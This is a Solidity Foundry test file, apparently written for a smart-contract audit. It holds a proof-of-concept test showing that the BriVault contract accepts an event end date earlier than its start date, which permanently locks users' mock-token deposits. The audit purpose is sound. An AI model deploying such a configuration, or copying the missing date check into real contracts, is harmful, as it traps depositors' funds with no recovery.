pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
* @title BriVault Audit POC Tests
* @notice This file contains Proof of Concept tests for identified vulnerabilities
* @dev Each test demonstrates a specific attack vector or vulnerability
*/
contract BriVaultAuditPOCTest is Test {
uint256 public participationFeeBsp;
uint256 public eventStartDate;
uint256 public eventEndDate;
address public participationFeeAddress;
uint256 public minimumAmount;
BriVault public briVault;
MockERC20 public mockToken;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address user4 = makeAddr("user4");
address user5 = makeAddr("user5");
address attacker = makeAddr("attacker");
string[48] countries = [
"United States", "Canada", "Mexico", "Argentina", "Brazil",
"Ecuador", "Uruguay", "Colombia", "Peru", "Chile",
"Japan", "South Korea", "Australia", "Iran", "Saudi Arabia",
"Qatar", "Uzbekistan", "Jordan", "France", "Germany",
"Spain", "Portugal", "England", "Netherlands", "Italy",
"Croatia", "Belgium", "Switzerland", "Denmark", "Poland",
"Serbia", "Sweden", "Austria", "Morocco", "Senegal",
"Nigeria", "Cameroon", "Egypt", "South Africa", "Ghana",
"Algeria", "Tunisia", "Ivory Coast", "New Zealand", "Costa Rica",
"Panama", "United Arab Emirates", "Iraq"
];
function setUp() public {
participationFeeBsp = 150;
eventStartDate = block.timestamp + 2 days;
eventEndDate = eventStartDate + 31 days;
participationFeeAddress = makeAddr("participationFeeAddress");
minimumAmount = 0.0002 ether;
mockToken = new MockERC20("Mock Token", "MTK");
mockToken.mint(owner, 100 ether);
mockToken.mint(user1, 100 ether);
mockToken.mint(user2, 100 ether);
mockToken.mint(user3, 100 ether);
mockToken.mint(user4, 100 ether);
mockToken.mint(user5, 100 ether);
mockToken.mint(attacker, 100 ether);
}
* @notice POC: Attack Vector - No validation that eventEndDate > eventStartDate
* @dev Severity: CRITICAL
* @dev Description: If eventEndDate < eventStartDate, setWinner() can never be called
* @dev Impact: All deposited funds become permanently locked with no recovery mechanism
* @dev Exploit Steps:
* 1. Deploy with eventEndDate < eventStartDate
* 2. Users deposit funds thinking they have time
* 3. Time passes beyond eventEndDate
* 4. Owner tries to call setWinner() - REVERTS with eventNotStarted()
* 5. Users cannot withdraw - FUNDS PERMANENTLY LOCKED
*/
function test_POC_eventEndDateBeforeStartDate_Exploit() public {
uint256 maliciousEventStartDate = block.timestamp + 1000000;
uint256 maliciousEventEndDate = block.timestamp + 500000;
console.log("=== POC: eventEndDate < eventStartDate Vulnerability ===");
console.log("Deployment timestamp:", block.timestamp);
console.log("eventStartDate:", maliciousEventStartDate);
console.log("eventEndDate:", maliciousEventEndDate);
console.log(
"eventEndDate < eventStartDate:",
maliciousEventEndDate < maliciousEventStartDate
);
vm.startPrank(owner);
BriVault maliciousVault = new BriVault(
IERC20(address(mockToken)),
participationFeeBsp,
maliciousEventStartDate,
participationFeeAddress,
minimumAmount,
maliciousEventEndDate
);
vm.stopPrank();
assertLt(
maliciousVault.eventEndDate(),
maliciousVault.eventStartDate(),
"Vulnerability: eventEndDate should be less than eventStartDate"
);
console.log("\n--- Step 2: Users deposit funds ---");
uint256 user1Deposit = 5 ether;
uint256 user2Deposit = 3 ether;
uint256 user3Deposit = 4 ether;
vm.startPrank(user1);
mockToken.approve(address(maliciousVault), user1Deposit);
maliciousVault.deposit(user1Deposit, user1);
uint256 user1BalanceAfterDeposit = mockToken.balanceOf(user1);
console.log("User1 deposited:", user1Deposit);
console.log("User1 balance after deposit:", user1BalanceAfterDeposit);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(maliciousVault), user2Deposit);
maliciousVault.deposit(user2Deposit, user2);
uint256 user2BalanceAfterDeposit = mockToken.balanceOf(user2);
console.log("User2 deposited:", user2Deposit);
console.log("User2 balance after deposit:", user2BalanceAfterDeposit);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(maliciousVault), user3Deposit);
maliciousVault.deposit(user3Deposit, user3);
uint256 user3BalanceAfterDeposit = mockToken.balanceOf(user3);
console.log("User3 deposited:", user3Deposit);
console.log("User3 balance after deposit:", user3BalanceAfterDeposit);
vm.stopPrank();
uint256 vaultBalance = mockToken.balanceOf(address(maliciousVault));
console.log("Vault balance after deposits:", vaultBalance);
assertGt(vaultBalance, 0, "Vault should have received deposits");
vm.startPrank(owner);
maliciousVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
maliciousVault.joinEvent(10);
console.log("User1 joined event for country 10");
vm.stopPrank();
vm.startPrank(user2);
maliciousVault.joinEvent(20);
console.log("User2 joined event for country 20");
vm.stopPrank();
console.log("\n--- Step 3: Moving to eventEndDate timestamp ---");
vm.warp(maliciousEventEndDate + 1);
console.log("Current timestamp:", block.timestamp);
console.log("eventEndDate:", maliciousVault.eventEndDate());
console.log("eventStartDate:", maliciousVault.eventStartDate());
assertGe(
block.timestamp,
maliciousVault.eventEndDate(),
"Should be past eventEndDate"
);
assertLt(
block.timestamp,
maliciousVault.eventStartDate(),
"But still before eventStartDate"
);
console.log("\n--- Step 4: Owner calls setWinner immediately ---");
vm.startPrank(owner);
vm.expectRevert(abi.encodeWithSignature("eventNotStarted()"));
maliciousVault.setWinner(10);
console.log("setWinner() REVERTED with eventNotStarted()");
vm.stopPrank();
console.log("\n--- Step 5: Verify Impact - PERMANENT FUND LOCK ---");
vm.startPrank(user1);
vm.expectRevert(abi.encodeWithSignature("winnerNotSet()"));
maliciousVault.withdraw();
console.log("User1 withdrawal BLOCKED: winnerNotSet");
vm.stopPrank();
uint256 lockedFunds = mockToken.balanceOf(address(maliciousVault));
console.log("\n=== EXPLOIT IMPACT ===");
console.log("Total funds locked in vault:", lockedFunds);
console.log("User1 balance after deposit:", user1BalanceAfterDeposit);
console.log("User2 balance after deposit:", user2BalanceAfterDeposit);
console.log("User3 balance after deposit:", user3BalanceAfterDeposit);
console.log("\n✗ setWinner() CANNOT be called");
console.log("✗ Users CANNOT withdraw");
console.log("✗ Users CANNOT cancel (past start time check)");
console.log("✗ NO recovery mechanism exists");
console.log("\n🔴 RESULT: ALL FUNDS PERMANENTLY LOCKED");
assertGt(lockedFunds, 0, "Funds are locked in vault");
assertEq(maliciousVault._setWinner(), false, "Winner was never set");
}
}